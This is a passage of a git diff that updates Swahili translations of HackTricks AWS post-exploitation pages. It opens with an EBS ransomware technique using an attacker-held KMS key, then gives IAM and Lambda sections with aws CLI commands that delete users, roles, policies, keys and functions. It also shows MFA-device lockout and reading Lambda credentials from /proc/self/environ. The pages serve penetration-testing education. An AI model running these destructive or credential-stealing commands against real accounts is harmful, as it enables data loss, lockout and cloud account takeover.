kuzifuta, na hatimaye kufuta snapshots zilizotumika kutengeneza EBS volumes zilizosanifiwa kwa encryption. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) +Sasa ukiwa na key inayopatikana hadharani ya kutumia. Tunaweza kutumia akaunti ya 'victim' ambayo ina baadhi ya instances za EC2 zilizozinduliwa zikiwa na volumes za EBS zisizosimbwa zimeambatishwa. Volumes za EBS za akaunti hii ya 'victim' ndizo tunazolenga kwa kusimbua; shambulio hili linafanywa kwa kuzingatia kuvamiwa kwa akaunti ya AWS yenye idhini kubwa. -Hii inasababisha kuwa kwenye account itabaki tu EBS volumes zilizofinywa (encrypted). +Similar to the S3 ransomware example. This attack will create copies of the attached EBS volumes using snapshots, use the publicly available key from the 'attacker' account to encrypt the new EBS volumes, then detach the original EBS volumes from the EC2 instances and delete them, and then finally delete the snapshots used to create the newly encrypted EBS volumes. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) + +Kama ilivyo kwa mfano wa S3 ransomware. Shambulio hili litatengeneza nakala za volumes za EBS zilizoambatishwa kwa kutumia snapshots, litumie key inayopatikana hadharani kutoka kwa akaunti ya 'attacker' kusimbua volumes mpya za EBS, kisha kuondoa (detach) volumes za EBS za awali kutoka kwa instances za EC2 na kuzifuta, na hatimaye kufuta snapshots zilizotumika kuunda volumes mpya zilizosisimbwa. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) + +This results in only encrypted EBS volumes left available in the account. ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220) -Pia inastahili kutajwa, script ilizuia EC2 instances ili kutolewa (detach) na kufutwa kwa EBS volumes za awali. Volumes za awali zisizo-encrypted zimepotea sasa. +Hii inasababisha kubaki volumes za EBS zilizosisimbwa pekee zinazopatikana katika akaunti. + +![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220) + +Also worth noting, the script stopped the EC2 instances to detach and delete the original EBS volumes. The original unencrypted volumes are gone now. ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e) -Ifuatayo, rudi kwenye key policy katika account ya 'attacker' na ondoa kanuni ya sera 'Outside Encryption' kutoka kwenye key policy. +Pia inastahili kutajwa kwamba skripti iliizima instances za EC2 ili kuondoa (detach) na kufuta volumes za EBS za awali. Volumes za awali ambazo hazijasimbwa sasa zimepotea. + +![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e) + +Next, return to the key policy in the 'attacker' account and remove the 'Outside Encryption' policy rule from the key policy. + +Ifuatayo, rudi kwenye key policy katika akaunti ya 'attacker' na ondoa kanuni ya sera ya 'Outside Encryption' kutoka kwenye key policy. ```json { "Version": "2012-10-17", @@ -430,15 +478,15 @@ Ifuatayo, rudi kwenye key policy katika account ya 'attacker' na ondoa kanuni ya ] } ``` -Subiri muda mfupi ili sera ya ufunguo mpya ienewe. Kisha rudi kwenye akaunti ya 'victim' na jaribu kuambatisha moja ya EBS volume mpya zilizososwa (encrypted). Utaona kwamba unaweza kuambatisha volume. +Subiri kidogo ili sera ya ufunguo mpya ianze kuenea. Kisha rudi kwenye akaunti ya 'victim' na ujaribu kuambatanisha moja ya volumes mpya za EBS zilizofichwa. Utagundua kuwa unaweza kuambatanisha volume. ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) -Lakini unapojaribu kuanzisha tena EC2 instance yenye EBS volume iliyosimbwa, itashindwa tu na itarudi kutoka kwenye hali ya 'pending' kurudi kwenye hali ya 'stopped' maisha yote kwa sababu EBS volume iliyounganishwa haiwezi kufunguliwa (decrypted) kwa kutumia ufunguo kwani sera ya ufunguo haimo tena ili kuruhusu hilo. +Lakini unapojaribu kwa kweli kuanzisha instance ya EC2 tena ukiwa umeambatanisha EBS volume iliyofichwa, itashindwa tu na itarudi kutoka kwenye hali ya 'pending' kwenda hali ya 'stopped' kwa muda usiofikia mwisho kwa kuwa EBS volume iliyounganishwa haiwezi ku-decrypt kutumia ufunguo kutokana na sera ya ufunguo kuitowa ruhusa. ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -Hii ni script ya python iliyotumika. Inachukua creds za AWS za akaunti ya 'victim' na thamani ya AWS ARN inayopatikana hadharani kwa ufunguo utakaotumika kwa encryption. Script itafanya nakala zilizosimbwa za ALL available EBS volumes zilizounganishwa kwa ALL EC2 instances katika akaunti ya AWS inayolengwa, kisha itasimamisha kila EC2 instance, itatenganisha EBS volumes asili, kuzifuta, na hatimaye kufuta snapshots zote zilizotumiwa wakati wa mchakato. Hii itaacha tu EBS volumes zilizofsimbwa katika akaunti ya 'victim' iliyolengwa. TUMIA SCRIPT HII TU KATIKA MAZINGIRA YA MTIHANI; INA UHARIBU NA ITAFUTA VOLIMU ZOTE ASILI ZA EBS. Unaweza kuzirejesha kwa kutumia KMS key iliyotumika na kuzirekebisha kwenye hali yao ya awali kupitia snapshots, lakini nataka tu kukujulisha kuwa hii ni PoC ya ransomware mwishowe. +Hii ni script ya python iliyotumika. Inapokea AWS creds za akaunti ya 'victim' na thamani ya AWS ARN inayopatikana hadharani kwa ufunguo utakao tumika kwa encryption. Script itaunda nakala zilizo encrypted za VOLUMES ZOTE za EBS zilizoambatanishwa kwenye INSTANCES ZOTE za EC2 katika akaunti ya AWS inayolengwa, kisha itazima kila instance ya EC2, i-detach EBS volumes za awali, kuzifuta, na hatimaye kufuta snapshots zote zilizotumika wakati wa mchakato. Hii itaacha tu EBS volumes zilizofichwa katika akaunti ya 'victim' inayolengwa. TUMIA SCRIPT HII TU KATIKA MAZINGIRA YA MAJARIBIO, NI DESTRUCTIVE NA ITAFUTA VOLUMES ZOTE ASILIMIA ZA AWALI ZA EBS. Unaweza kuzipata tena kwa kutumia KMS key iliyotumika na kuzirejesha katika hali yao ya awali kupitia snapshots, lakini nataka tu kukufahamisha kuwa mwishowe hii ni ransomware PoC. ``` import boto3 import argparse @@ -557,6 +605,6 @@ main() ``` ## Marejeo -- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/) +- [Pentest Partners – Jinsi ya kuhamisha faili kwenye AWS kwa kutumia SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md index b9636bd73..f57c9449e 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md @@ -4,21 +4,21 @@ ## IAM -Kwa taarifa zaidi kuhusu ufikaji wa IAM: +For more information about IAM access: {{#ref}} ../../aws-services/aws-iam-enum.md {{#endref}} -## Tatizo la Confused Deputy +## Confused Deputy Problem -Ikiwa utamu **allow an external account (A)** kufikia **role** kwenye account yako, uwezekano ni kwamba utakuwa na **0 visibility** kuhusu **nani hasa anaweza kufikia external account hiyo**. Hili ni tatizo, kwa sababu ikiwa external account nyingine (B) inaweza kufikia external account (A) kuna uwezekano kwamba **B pia ataweza kufikia account yako**. +Iwapo uta **kuruhusu akaunti ya nje (A)** kupata ufikiaji wa **role** katika akaunti yako, huenda ukawa na **muonekano wa 0** juu ya **ni nani hasa anayeweza kufikia akaunti hiyo ya nje**. Hii ni tatizo, kwa sababu ikiwa akaunti nyingine ya nje (B) inaweza kufikia akaunti ya nje (A) inawezekana kwamba **B pia ataweza kufikia akaunti yako**. -Kwa hivyo, unapomruhusu external account kufikia role kwenye account yako unaweza kutaja `ExternalId`. Hii ni kamba ya "secret" ambayo external account (A) **inahitaji kuibainisha** ili **assume the role in your organization**. Kwa kuwa **external account B haitajua kamba hii**, hata kama ana ufikaji juu ya A **hatataweza kufikia role yako**. +Hivyo, wakati unaporuhusu akaunti ya nje kupata ufikiaji wa role katika akaunti yako unaweza kubainisha `ExternalId`. Hii ni kamba ya "siri" kwamba akaunti ya nje (A) **inahitaji kuiweka** ili **assume the role in your organization**. Kwa kuwa **akaunti ya nje B haitajui kamba hii**, hata ikiwa ana ufikiaji wa A **hatawezi kufikia role yako**.
-Hata hivyo, kumbuka kwamba `ExternalId` hii ya "secret" **sio siri**, mtu yeyote ambaye anaweza **read the IAM assume role policy ataweza kuiona**. Lakini mradi external account A anajua, na external account **B hajatambua**, basi hii **inazuia B kutumia A vibaya ili kufikia role yako**. +Hata hivyo, kumbuka kwamba hii ya `ExternalId` "siri" **si siri**, yeyote anayeweza **read the IAM assume role policy ataweza kuiona**. Lakini mradi akaunti ya nje A inajua, na akaunti ya nje **B haitajui**, inazuia **B kutumia A vibaya ili kufikia role yako**. Mfano: ```json @@ -39,9 +39,9 @@ Mfano: } ``` > [!WARNING] -> Ili mshambuliaji awekeze udhaifu wa confused deputy, atahitaji kwa njia fulani kugundua ikiwa principals za akaunti ya sasa zinaweza kuiga roles katika akaunti nyingine. +> Ili mshambuliaji kutumia confused deputy atalazimika kwa njia fulani kubaini ikiwa principals wa akaunti ya sasa wanaweza kuiga roles katika akaunti nyingine. -### Aminisho yasiyotarajiwa +### Imfani zisizotarajiwa #### Wildcard kama principal ```json @@ -51,9 +51,9 @@ Mfano: "Principal": { "AWS": "*" } } ``` -Sera hii **inawawezesha AWS zote** kuchukua role. +Sera hii **inaruhusu AWS zote** kuchukua role hii. -#### Huduma kama principal +#### Huduma kama mhusika ```json { "Action": "lambda:InvokeFunction", @@ -62,7 +62,7 @@ Sera hii **inawawezesha AWS zote** kuchukua role. "Resource": "arn:aws:lambda:000000000000:function:foo" } ``` -Sera hii **inaruhusu akaunti yoyote** kusanidi apigateway yao ili kuitisha Lambda hii. +Sera hii **inaruhusu akaunti yoyote** kusanidi apigateway yao kuitisha Lambda hii. #### S3 kama principal ```json @@ -73,9 +73,9 @@ Sera hii **inaruhusu akaunti yoyote** kusanidi apigateway yao ili kuitisha Lambd } } ``` -Ikiwa S3 bucket imetolewa kama principal, kwa sababu S3 buckets hazina Account ID, ikiwa umefuta **bucket yako na attacker aliitengeneza** katika account yao wenyewe, basi wanaweza kuvitumia vibaya. +Iwapo S3 bucket imepewa kama principal, kwa sababu S3 buckets hazina Account ID, ikiwa wewe **ulifuta bucket yako na mshambuliaji aliiunda** katika akaunti yao wenyewe, basi wanaweza kutumia vibaya hili. -#### Haiungwa mkono +#### Not supported ```json { "Effect": "Allow", @@ -84,10 +84,10 @@ Ikiwa S3 bucket imetolewa kama principal, kwa sababu S3 buckets hazina Account I "Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" } ``` -Njia ya kawaida ya kuepuka matatizo ya Confused Deputy ni matumizi ya sharti lenye `AWS:SourceArn` ili kukagua ARN ya chanzo. Hata hivyo, **huduma baadhi zinaweza zisizounga mkono hilo** (kama CloudTrail kwa mujibu wa baadhi ya vyanzo). +Njia ya kawaida ya kuepuka matatizo ya Confused Deputy ni kutumia condition na `AWS:SourceArn` kukagua origin ARN. Hata hivyo, **huduma nyingine zinaweza kutoiunga mkono hili** (kama CloudTrail kulingana na baadhi ya vyanzo). -### Ufutaji wa Taarifa za Kuingia -Kwa ruhusa zozote zifuatazo — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — mhusika anaweza kuondoa access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates au CloudFront public keys, au kuondoa roles kutoka kwa instance profiles. Hatua kama hizi zinaweza mara moja kumzuia watumiaji na programu halali na kusababisha denial-of-service au kupoteza upatikanaji kwa mifumo inayotegemea hizo credentials, hivyo ruhusa hizi za IAM lazima ziondolewe kwa ukali na zifuatiliwe. +### Credential Deletion +Kwa yoyote ya ruhusa zifuatazo — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — mhusika anaweza kuondoa access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates au CloudFront public keys, au disassociate roles kutoka instance profiles. Vitendo hivyo vinaweza mara moja kuzuia watumiaji halali na applications na kusababisha denial-of-service au loss of access kwa systems zinazotegemea credentials hizo, hivyo ruhusa hizi za IAM lazima ziwekwe kikomo kwa ukali na zifuatiliwe. ```bash # Remove Access Key of a user aws iam delete-access-key \ @@ -99,8 +99,8 @@ aws iam delete-ssh-public-key \ --user-name \ --ssh-public-key-id APKAEIBAERJR2EXAMPLE ``` -### Ufutaji wa Utambulisho -Kwa ruhusa kama `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, au `iam:RemoveUserFromGroup`, mhusika anaweza kufuta watumiaji, majukumu, au vikundi—au kubadilisha uanachama wa kikundi—kuondoa utambulisho na alama zinazohusiana. Hii inaweza mara moja kuvunja ufikiaji kwa watu na huduma zinazotegemea utambulisho huo, kusababisha denial-of-service au kupoteza ufikiaji, kwa hivyo vitendo hivi vya IAM lazima vizuiwe kwa ukali na kufuatiliwe. +### Ufutaji wa Vitambulisho +Kwa ruhusa kama `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, au `iam:RemoveUserFromGroup`, mtendaji anaweza kufuta watumiaji, majukumu, au makundi—au kubadilisha uanachama wa kundi—akiondoa vitambulisho na alama zinazohusiana nazo. Hii inaweza mara moja kuvunja upatikanaji kwa watu na huduma zinazotegemea vitambulisho hivyo, kusababisha denial-of-service au kupoteza upatikanaji, hivyo vitendo hivi vya IAM vinapaswa kudhibitiwa kwa ukali na kufuatiliwa. ```bash # Delete a user aws iam delete-user \ @@ -114,8 +114,7 @@ aws iam delete-group \ aws iam delete-role \ --role-name ``` -### -Kwa ruhusa yoyote ya zifuatazo — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — mhusika anaweza kufuta au kuondoa managed/inline policies, kuondoa matoleo ya policy au permissions boundaries, na kutenganisha policies kutoka kwa watumiaji, makundi, au roles. Hii huharibu idhini na inaweza kubadilisha modeli ya ruhusa, kusababisha kupoteza mara moja kwa upatikanaji au denial-of-service kwa principals waliotegemea policies hizo, hivyo vitendo hivi vya IAM vinapaswa kuzuiwa kwa ukali na kusimamiwa. +Kwa idhini yoyote kati ya zifuatazo — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — mtendaji anaweza kufuta au kutenganisha managed/inline policies, kuondoa matoleo ya policy au permissions boundaries, na kuondoa uhusiano wa policies na users, groups, au roles. Hii inaangamiza authorizations na inaweza kubadilisha modeli ya permissions, ikasababisha kupoteza ufikiaji mara moja au denial-of-service kwa principals waliotegemea policies hizo, hivyo vitendo hivi vya IAM vinapaswa kuwekewa vikwazo vikali na kufuatiliwa. ```bash # Delete a group policy aws iam delete-group-policy \ @@ -127,8 +126,8 @@ aws iam delete-role-policy \ --role-name \ --policy-name ``` -### Ufutaji wa Utambulisho wa Kifedereshi -Kwa kutumia `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, and `iam:RemoveClientIDFromOpenIDConnectProvider`, mhusika anaweza kufuta watoa huduma za utambulisho wa OIDC/SAML au kuondoa client IDs. Hii inavunja uthibitishaji wa kifedereshi, kuzuia uthibitisho wa tokeni na mara moja kuzuia ufikiaji kwa watumiaji na huduma zinazotegemea SSO hadi IdP au mipangilio vitakaporejeshwa. +### Ufutaji wa Utambulisho wa Muungano +Kwa kutumia `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, na `iam:RemoveClientIDFromOpenIDConnectProvider`, mhusika anaweza kufuta watoaji wa utambulisho wa OIDC/SAML au kuondoa client IDs. Hii inavunja uthibitishaji wa muungano, kuzuia uhakiki wa token na kukataa mara moja upatikanaji kwa watumiaji na huduma zinazotegemea SSO hadi IdP au mipangilio irejeshwe. ```bash # Delete OIDCP provider aws iam delete-open-id-connect-provider \ @@ -139,7 +138,7 @@ aws iam delete-saml-provider \ --saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS ``` ### Uwezeshaji usiohalali wa MFA -Kwa `iam:EnableMFADevice`, mhusika anaweza kusajili kifaa cha MFA kwenye utambulisho wa mtumiaji, na hivyo kuzuia mtumiaji halali kuingia. Mara tu MFA isiyoidhinishwa itakapowezeshwa, mtumiaji anaweza kufungiwa nje hadi kifaa hicho kiondolewe au kirekebishwe (kumbuka: ikiwa vifaa vingi vya MFA vimesajiliwa, kuingia kunahitaji kifaa kimoja tu, hivyo shambulio hili halitakuwa na athari ya kuzuia ufikiaji). +Kwa kutumia `iam:EnableMFADevice`, mhusika anaweza kusajili kifaa cha MFA kwenye utambulisho wa mtumiaji, na kuzuia mtumiaji halali kuingia. Mara kifaa cha MFA kisichoidhinishwa kitakapowashwa, mtumiaji anaweza kufungiwa nje hadi kifaa hicho kiondolewe au kirudishwe upya (kumbuka: ikiwa vifaa vingi vya MFA vimesajiliwa, kuingia kunahitaji kifaa kimoja tu, hivyo shambulio hili haliwezi kuzuia upatikanaji). ```bash aws iam enable-mfa-device \ --user-name \ @@ -148,7 +147,7 @@ aws iam enable-mfa-device \ --authentication-code2 789012 ``` ### Certificate/Key Metadata Tampering -Kwa kutumia `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, mwigizaji anaweza kubadilisha status au metadata ya public keys na certificates. Kwa kuitaja keys/certificates kuwa inactive au kubadilisha marejeleo, wanaweza kuvunja SSH authentication, kuharibu X.509/TLS validations, na kuingilia mara moja services zinazoegemea credentials hizo, kusababisha kupoteza ufikaji au upatikanaji. +Kwa kutumia `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, mhusika anaweza kubadilisha hali au metadata ya public keys na certificates. Kwa kuifanya keys/certificates zisizofanya kazi au kubadilisha marejeleo, wanaweza kuvunja SSH authentication, kuharibu uthibitisho za X.509/TLS, na kuvuruga mara moja huduma zinazotegemea credentials, kusababisha kupoteza ufikiaji au upatikanaji. ```bash aws iam update-ssh-public-key \ --user-name \ @@ -159,6 +158,33 @@ aws iam update-server-certificate \ --server-certificate-name \ --new-path /prod/ ``` +### `iam:Delete*` + +Wildcard ya IAM iam:Delete* inatoa uwezo wa kuondoa aina nyingi za rasilimali za IAM—users, roles, groups, policies, keys, certificates, MFA devices, policy versions, n.k.—na kwa hivyo ina blast radius kubwa sana: mhusika aliyepewa iam:Delete* anaweza kuharibu kwa kudumu identities, credentials, policies na artifacts zinazohusiana, kuondoa audit/evidence, na kusababisha service au operational outages. Baadhi ya mifano ni +```bash +# Delete a user +aws iam delete-user --user-name + +# Delete a role +aws iam delete-role --role-name + +# Delete a managed policy +aws iam delete-policy --policy-arn arn:aws:iam:::policy/ +``` +### `iam:EnableMFADevice` + +Mtu aliyepata ruhusa ya iam:EnableMFADevice anaweza kusajili kifaa cha MFA kwa kitambulisho ndani ya akaunti, mradi mtumiaji hakuwahi kuwa na mmoja aliyewezeshwa. Hii inaweza kutumika kuingilia upatikanaji wa mtumiaji: mara attacker anaposajili kifaa cha MFA, legitimate user anaweza kuzuizwa kuingia kwa sababu hawadhibiti MFA iliyosajiliwa na attacker. + +Shambulio hili la kukataliwa kwa upatikanaji linafanya kazi tu ikiwa mtumiaji hakuwa na MFA iliyosajiliwa; ikiwa attacker atasajili kifaa cha MFA kwa mtumiaji huyo, legitimate user atafungiwa kutoka kwa taratibu yoyote zinazohitaji MFA mpya hiyo. Ikiwa mtumiaji tayari ana kifaa kimoja au zaidi cha MFA chini ya udhibiti wao, kuongeza kifaa cha MFA kinachodhibitiwa na attacker hakutaweka kizuizi kwa legitimate user — wanaweza kuendelea authenticate kwa kutumia MFA yoyote waliyonayo tayari. + +Ili kuwezesha (kusajili) kifaa cha MFA kwa mtumiaji, attacker anaweza kuendesha: +```bash +aws iam enable-mfa-device \ +--user-name \ +--serial-number arn:aws:iam::111122223333:mfa/alice \ +--authentication-code1 123456 \ +--authentication-code2 789012 +``` ## Marejeo - [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md index eb55e2b84..070314ec9 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md @@ -1,10 +1,10 @@ -# AWS - Lambda Baada ya Uvamizi +# AWS - Lambda Post Exploitation {{#include ../../../../banners/hacktricks-training.md}} ## Lambda -Kwa taarifa zaidi angalia: +Kwa maelezo zaidi angalia: {{#ref}} ../../aws-services/aws-lambda-enum.md @@ -12,29 +12,35 @@ Kwa taarifa zaidi angalia: ### Exfilrtate Lambda Credentials -Lambda inatumia variables za mazingira (environment variables) kuingiza credentials wakati wa runtime. Ikiwa unaweza kupata ufikiaji kwao (kwa kusoma `/proc/self/environ` au kwa kutumia function yenye udhaifu yenyewe), unaweza kuzitumia mwenyewe. Zipo katika majina ya default ya variables `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, na `AWS_ACCESS_KEY_ID`. +Lambda inatumia environment variables kuingiza credentials wakati wa runtime. Ikiwa unaweza kupata ufikiaji kwao (kwa kusoma `/proc/self/environ` au kutumia function yenye udhaifu yenyewe), unaweza kuvitumia mwenyewe. Zinahifadhiwa katika majina ya default ya variable `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, na `AWS_ACCESS_KEY_ID`. -Kwa default, hizi zitakuwa na ruhusa za kuandika kwenye cloudwatch log group (jina lake limehifadhiwa katika `AWS_LAMBDA_LOG_GROUP_NAME`), pamoja na kuunda log groups yoyote, hata hivyo lambda functions mara nyingi zina ruhusa zaidi zilizotolewa kulingana na matumizi yao yaliyokusudiwa. +Kwa chaguo-msingi, hizi zitakuwa na ruhusa ya kuandika kwenye cloudwatch log group (jina lake limehifadhiwa katika `AWS_LAMBDA_LOG_GROUP_NAME`), pamoja na kuunda log groups yoyote, hata hivyo lambda functions mara nyingi zina ruhusa zaidi zilizotolewa kulingana na matumizi yao yaliyokusudiwa. -### Kupora Maombi ya URL za Lambda za Wengine +### `lambda:Delete*` +Mshambuliaji aliyepatiwa lambda:Delete* anaweza kufuta Lambda functions, versions/aliases, layers, event source mappings na konfigurisho zingine zinazohusiana. +```bash +aws lambda delete-function \ +--function-name +``` +### Kuiba Maombi ya URL za Lambda za Wengine -Ikiwa mshambuliaji kwa namna fulani anafanikisha kupata RCE ndani ya Lambda, ataweza kupora HTTP requests za watumiaji wengine kwenda kwa lambda. Ikiwa maombi hayo yanajumuisha taarifa nyeti (cookies, credentials...) ataweza kuyapora. +If an attacker somehow manage to get RCE inside a Lambda he will be able to steal other users HTTP requests to the lambda. If the requests contain sensitive information (cookies, credentials...) he will be able to steal them. {{#ref}} aws-warm-lambda-persistence.md {{#endref}} -### Kupora Maombi ya URL za Lambda za Wengine & Maombi ya Extensions +### Kuiba Maombi ya URL za Lambda za Wengine & Maombi za Extensions -Kwa kutumia mbinu za kuabusu Lambda Layers pia inawezekana kuabusu extensions na kudumu ndani ya lambda na pia kupora na kurekebisha maombi. +Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests. {{#ref}} ../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md {{#endref}} -### AWS Lambda – VPC Egress Bypass +### AWS Lambda – Kupitisha Vizuizi vya Egress vya VPC -Lazimisha function ya Lambda kutoka kwenye VPC iliyozuiliwa kwa kuboresha configuration yake na VpcConfig tupu (SubnetIds=[], SecurityGroupIds=[]). Function hiyo itaendelea kukimbia kwenye usimamizi wa mtandao wa Lambda, ikirejea upatikanaji wa intaneti kutoka nje na kukwepa udhibiti wa egress unaotekelezwa na subnets za VPC binafsi bila NAT. +Force a Lambda function out of a restricted VPC by updating its configuration with an empty VpcConfig (SubnetIds=[], SecurityGroupIds=[]). The function will then run in the Lambda-managed networking plane, regaining outbound internet access and bypassing egress controls enforced by private VPC subnets without NAT. {{#ref}} aws-lambda-vpc-egress-bypass.md @@ -42,7 +48,7 @@ aws-lambda-vpc-egress-bypass.md ### AWS Lambda – Runtime Pinning/Rollback Abuse -Abusu `lambda:PutRuntimeManagementConfig` ili ku-pin function kwa toleo maalumu la runtime (Manual) au kuzuia updates (FunctionUpdate). Hii huhifadhi ulinganifu na layers/wrappers zenye madhara na inaweza kuacha function kwenye runtime iliyoharibika au yenye udhaifu ili kusaidia exploitation na persistence ya muda mrefu. +Abuse `lambda:PutRuntimeManagementConfig` to pin a function to a specific runtime version (Manual) or freeze updates (FunctionUpdate). This preserves compatibility with malicious layers/wrappers and can keep the function on an outdated, vulnerable runtime to aid exploitation and long-term persistence. {{#ref}} aws-lambda-runtime-pinning-abuse.md @@ -50,7 +56,7 @@ aws-lambda-runtime-pinning-abuse.md ### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection -Abusu `lambda:UpdateFunctionConfiguration` vitendo vya logging vya juu ili kurekebisha logs za function kwenda kwenye CloudWatch Logs log group iliyochaguliwa na mshambuliaji. Hii inafanya kazi bila kubadilisha code au execution role (most Lambda roles tayari zinajumuisha `logs:CreateLogGroup/CreateLogStream/PutLogEvents` kupitia `AWSLambdaBasicExecutionRole`). Ikiwa function inachapisha secrets/request bodies au inagonga crash na stack traces, unaweza kuzikusanya kutoka kwenye log group mpya. +Abuse `lambda:UpdateFunctionConfiguration` advanced logging controls to redirect a function’s logs to an attacker-chosen CloudWatch Logs log group. This works without changing code or the execution role (most Lambda roles already include `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). If the function prints secrets/request bodies or crashes with stack traces, you can collect them from the new log group. {{#ref}} aws-lambda-loggingconfig-redirection.md @@ -58,7 +64,7 @@ aws-lambda-loggingconfig-redirection.md ### AWS - Lambda Function URL Public Exposure -Geuza private Lambda Function URL kuwa public endpoint isiyothibitishwa kwa kubadilisha Function URL AuthType kuwa NONE na kuambatisha resource-based policy inayompa lambda:InvokeFunctionUrl kila mtu. Hii inawawezesha watu wasiothibitishwa kuitisha functions za ndani kwa siri na inaweza kufichua operesheni nyeti za backend. +Turn a private Lambda Function URL into a public unauthenticated endpoint by switching the Function URL AuthType to NONE and attaching a resource-based policy that grants lambda:InvokeFunctionUrl to everyone. This enables anonymous invocation of internal functions and can expose sensitive backend operations. {{#ref}} aws-lambda-function-url-public-exposure.md @@ -66,7 +72,7 @@ aws-lambda-function-url-public-exposure.md ### AWS Lambda – Event Source Mapping Target Hijack -Abusu `UpdateEventSourceMapping` kubadili target Lambda function ya Event Source Mapping (ESM) iliyopo ili rekodi kutoka DynamoDB Streams, Kinesis, au SQS ziletwe kwa function inayodhibitiwa na mshambuliaji. Hii inaelekeza data hai kimya bila kugusa producers au code ya function ya asili. +Abuse `UpdateEventSourceMapping` to change the target Lambda function of an existing Event Source Mapping (ESM) so that records from DynamoDB Streams, Kinesis, or SQS are delivered to an attacker-controlled function. This silently diverts live data without touching producers or the original function code. {{#ref}} aws-lambda-event-source-mapping-hijack.md @@ -74,7 +80,7 @@ aws-lambda-event-source-mapping-hijack.md ### AWS Lambda – EFS Mount Injection data exfiltration -Abusu `lambda:UpdateFunctionConfiguration` kuambatisha EFS Access Point iliyokuwepo kwa Lambda, kisha weka code rahisi inayoorodhesha/ikusome faili kutoka kwenye njia iliyopandikizwa ili exfiltrate shared secrets/config ambazo function haikuweza kufikia hapo awali. +Abuse `lambda:UpdateFunctionConfiguration` to attach an existing EFS Access Point to a Lambda, then deploy trivial code that lists/reads files from the mounted path to exfiltrate shared secrets/config that the function previously couldn’t access. 